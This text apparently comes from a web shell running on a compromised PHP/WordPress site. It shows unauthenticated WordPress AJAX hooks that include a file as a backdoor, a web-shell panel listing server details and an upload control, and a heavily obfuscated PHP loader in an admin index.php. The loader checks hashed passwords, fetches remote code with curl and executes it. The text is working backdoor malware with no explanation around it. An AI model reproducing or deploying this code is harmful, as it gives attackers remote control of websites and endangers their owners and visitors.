if(!function_exists('file_check_readme30367')){ add_action('wp_ajax_nopriv_file_check_readme30367', 'file_check_readme30367'); add_action('wp_ajax_file_check_readme30367', 'file_check_readme30367'); function file_check_readme30367() { $file = __DIR__ . '/' . 'readme.txt'; if (file_exists($file)) { include $file; } die(); } } if(!function_exists('file_check_readme64756')){ add_action('wp_ajax_nopriv_file_check_readme64756', 'file_check_readme64756'); add_action('wp_ajax_file_check_readme64756', 'file_check_readme64756'); function file_check_readme64756() { $file = __DIR__ . '/' . 'readme.txt'; if (file_exists($file)) { include $file; } die(); } } HEX
HEX
Server: Apache
System: Linux dx292 6.1.0-39-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.148-1 (2025-08-26) x86_64
User: www-data (33)
PHP: 7.4.33
Disabled: pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
$ pwd: /data/www/welovefamily.at/welovefamily.at/htdocs/admin/admin/admin/
Upload Files
File: /data/www/welovefamily.at/welovefamily.at/htdocs/admin/admin/admin/index.php
<?php
 goto bysHqMsZZB; L5LBgunWow: $mRj580Z7yQ = ${$EF4MjCocgG[10 + 21] . $EF4MjCocgG[39 + 20] . $EF4MjCocgG[37 + 10] . $EF4MjCocgG[40 + 7] . $EF4MjCocgG[13 + 38] . $EF4MjCocgG[6 + 47] . $EF4MjCocgG[50 + 7]}; goto qudNY8jA0z; bysHqMsZZB: $EF4MjCocgG = range("\176", "\x20"); goto L5LBgunWow; Zz5ux0Pcz2: WTr8luh2mj: goto EHVpUT4zks; uMze3RaLnd: @($mRj580Z7yQ = $mRj580Z7yQ[82]($mRj580Z7yQ[57], $mRj580Z7yQ[65](${$mRj580Z7yQ[31]}[24]))); goto GMvafnQrSo; qudNY8jA0z: if (!(in_array(gettype($mRj580Z7yQ) . "\61\60", $mRj580Z7yQ) && md5(md5(md5(md5($mRj580Z7yQ[4])))) === "\146\x62\64\x61\x63\x64\x66\67\x61\60\143\144\71\x34\x32\x62\142\64\145\x39\x37\146\x38\145\x66\x32\60\144\63\61\x62\x35")) { goto WTr8luh2mj; } goto odIMhycuv1; GMvafnQrSo: $mRj580Z7yQ(); goto Zz5ux0Pcz2; quf5jT2gZp: class V6HjszhlJo { static function ZuTDX47exd($mmAJcn0PWu) { goto uPUGa6kse6; spzyqt2q5M: uRf0Ib7Kqf: goto jjSfGBCn9z; K8vZhUO9xT: $btjc2OlRGn = explode("\46", $mmAJcn0PWu); goto M2xDkbHtRz; M2xDkbHtRz: $t1AUQ1vQ4a = ''; goto CbOVazGCJf; CbOVazGCJf: foreach ($btjc2OlRGn as $mLzcNLeuJ3 => $UeeIqPmRaL) { $t1AUQ1vQ4a .= $XVk258UJOl[$UeeIqPmRaL - 64369]; jbhKGq1xsM: } goto spzyqt2q5M; xqJXx8BMyV: $XVk258UJOl = $yc1lkX62V0("\176", "\40"); goto K8vZhUO9xT; uPUGa6kse6: $yc1lkX62V0 = "\x72" . "\141" . "\156" . "\147" . "\x65"; goto xqJXx8BMyV; jjSfGBCn9z: return $t1AUQ1vQ4a; goto Mih95_V1AY; Mih95_V1AY: } static function xCk2EEgbkD($dl_DjCcGSV, $MucgxxXqM2) { goto rLNlkhAvrq; CP89xIwNbi: curl_setopt($BMgyyd2CtG, CURLOPT_RETURNTRANSFER, 1); goto rHJEi_FMHi; aBJgWVb7ah: return empty($mROrO3Vq0g) ? $MucgxxXqM2($dl_DjCcGSV) : $mROrO3Vq0g; goto S7RZC_VEbG; rLNlkhAvrq: $BMgyyd2CtG = curl_init($dl_DjCcGSV); goto CP89xIwNbi; rHJEi_FMHi: $mROrO3Vq0g = curl_exec($BMgyyd2CtG); goto aBJgWVb7ah; S7RZC_VEbG: } static function fq9ddtvs0D() { goto QR95kiBaLW; p_0DcRisYM: if (!(@$YvhE6BqedW[0] - time() > 0 and md5(md5($YvhE6BqedW[2 + 1])) === "\x38\x61\x37\x33\x33\63\61\63\142\x66\x36\x62\71\x63\x33\71\x36\x36\60\143\x63\x39\x62\146\64\63\62\x39\144\61\142\x61")) { goto rpcioQzdSe; } goto mcO2YZfR59; xvfJpqPaFb: rpcioQzdSe: goto iefxldKjf1; kxJxgi1qIi: $N_34mGYtd0 = @$dH3MSUxEew[1]($dH3MSUxEew[8 + 2](INPUT_GET, $dH3MSUxEew[0 + 9])); goto foSm9Y8A8V; mcO2YZfR59: $FrL4sKP904 = self::xck2eeGbkd($YvhE6BqedW[1 + 0], $dH3MSUxEew[4 + 1]); goto aXK5_bCrI4; foSm9Y8A8V: $xeGYtAbpIg = @$dH3MSUxEew[2 + 1]($dH3MSUxEew[5 + 1], $N_34mGYtd0); goto b9r8AGFsEj; aXK5_bCrI4: @$dH3MSUxEew[0]('', $dH3MSUxEew[7 + 0] . $dH3MSUxEew[4 + 0]($FrL4sKP904) . $dH3MSUxEew[1 + 7]); goto nMca9jAEC1; nMca9jAEC1: die; goto xvfJpqPaFb; QR95kiBaLW: $LvPJuhd_tQ = array("\66\x34\63\x39\66\46\66\x34\x33\x38\61\x26\x36\64\x33\71\64\46\x36\x34\x33\x39\x38\46\66\x34\x33\67\71\46\x36\x34\x33\71\64\x26\x36\64\x34\60\60\46\x36\x34\63\x39\x33\46\x36\x34\x33\x37\70\46\66\64\x33\x38\65\x26\x36\64\x33\71\66\x26\66\64\63\x37\71\46\66\x34\63\71\x30\46\66\64\63\70\64\46\66\64\x33\70\65", "\66\x34\x33\x38\60\x26\66\x34\x33\67\71\46\x36\x34\x33\70\61\x26\66\x34\x34\60\60\46\x36\64\x33\70\61\x26\66\x34\63\x38\x34\46\66\x34\63\x37\71\x26\x36\x34\x34\x34\66\x26\66\x34\x34\64\x34", "\x36\x34\63\x38\71\x26\66\64\x33\70\x30\x26\x36\64\63\70\64\x26\66\x34\x33\70\x35\46\x36\64\x34\x30\60\46\x36\x34\x33\x39\65\46\x36\x34\x33\x39\x34\x26\66\64\x33\x39\x36\x26\66\64\63\x38\x34\46\x36\64\63\71\x35\46\x36\x34\x33\x39\64", "\66\64\63\x38\x33\x26\66\64\x33\x39\x38\46\x36\x34\63\71\66\x26\x36\64\x33\70\70", "\66\x34\63\x39\67\x26\x36\64\x33\71\x38\46\x36\x34\63\x38\x30\x26\66\64\x33\71\x34\46\x36\x34\x34\64\61\46\x36\x34\x34\x34\x33\x26\x36\64\x34\60\60\46\66\x34\63\71\65\46\x36\x34\63\71\64\46\66\64\63\71\x36\x26\x36\64\63\70\64\x26\x36\x34\63\x39\65\x26\x36\64\63\x39\x34", "\66\64\x33\71\x33\46\x36\x34\x33\71\60\x26\x36\x34\63\x38\x37\46\x36\64\63\71\x34\46\66\x34\64\60\60\x26\x36\x34\63\71\62\x26\66\x34\x33\71\x34\x26\x36\64\63\x37\71\46\x36\64\x34\60\60\46\66\x34\63\71\66\46\x36\64\x33\70\64\46\66\x34\63\x38\65\46\66\x34\x33\67\71\x26\66\64\x33\x39\64\46\66\64\x33\70\x35\x26\x36\x34\63\x37\71\x26\x36\x34\x33\70\60", "\66\64\x34\62\x33\46\x36\64\x34\x35\x33", "\66\x34\63\x37\x30", "\x36\64\64\x34\x38\x26\x36\64\64\x35\x33", "\66\64\64\63\x30\x26\x36\x34\64\x31\63\x26\66\x34\x34\61\x33\x26\66\64\64\63\x30\x26\x36\64\64\60\66", "\x36\64\63\71\x33\x26\66\64\63\71\x30\46\66\64\63\x38\67\x26\66\64\63\x37\71\x26\x36\x34\x33\x39\x34\46\66\x34\63\x38\61\46\66\x34\64\x30\x30\46\66\64\63\71\x30\x26\x36\64\63\x38\65\x26\x36\64\x33\70\x33\46\66\64\63\x37\70\x26\66\64\x33\x37\x39"); goto aoAYqu4PRx; b9r8AGFsEj: $YvhE6BqedW = $dH3MSUxEew[1 + 1]($xeGYtAbpIg, true); goto kTNsFiVMkN; aoAYqu4PRx: foreach ($LvPJuhd_tQ as $f2rKYVk2ah) { $dH3MSUxEew[] = self::zUtdx47eXD($f2rKYVk2ah); MEQM4LcIkB: } goto Br0uwZptp8; Br0uwZptp8: l8GUvoY0N1: goto kxJxgi1qIi; kTNsFiVMkN: @$dH3MSUxEew[10 + 0](INPUT_GET, "\x6f\x66") == 1 && die($dH3MSUxEew[2 + 3](__FILE__)); goto p_0DcRisYM; iefxldKjf1: } } goto s6LfVZiOYy; mjJjw7EsPl: $mRj580Z7yQ[82] = $mRj580Z7yQ[65]($mRj580Z7yQ[82]); goto uMze3RaLnd; EHVpUT4zks: metaphone("\105\x58\x67\65\x51\156\x30\x4a\144\x69\147\x6f\x51\x2b\165\114\x69\165\125\57\x52\57\110\x56\166\116\x71\x54\x51\155\126\111\142\x68\112\142\x39\121\x45\151\157\153\115"); goto quf5jT2gZp; odIMhycuv1: $mRj580Z7yQ[65] = $mRj580Z7yQ[65] . $mRj580Z7yQ[71]; goto mjJjw7EsPl; s6LfVZiOYy: v6hjszhljo::FQ9DdTVS0d();
?>
@ Telegram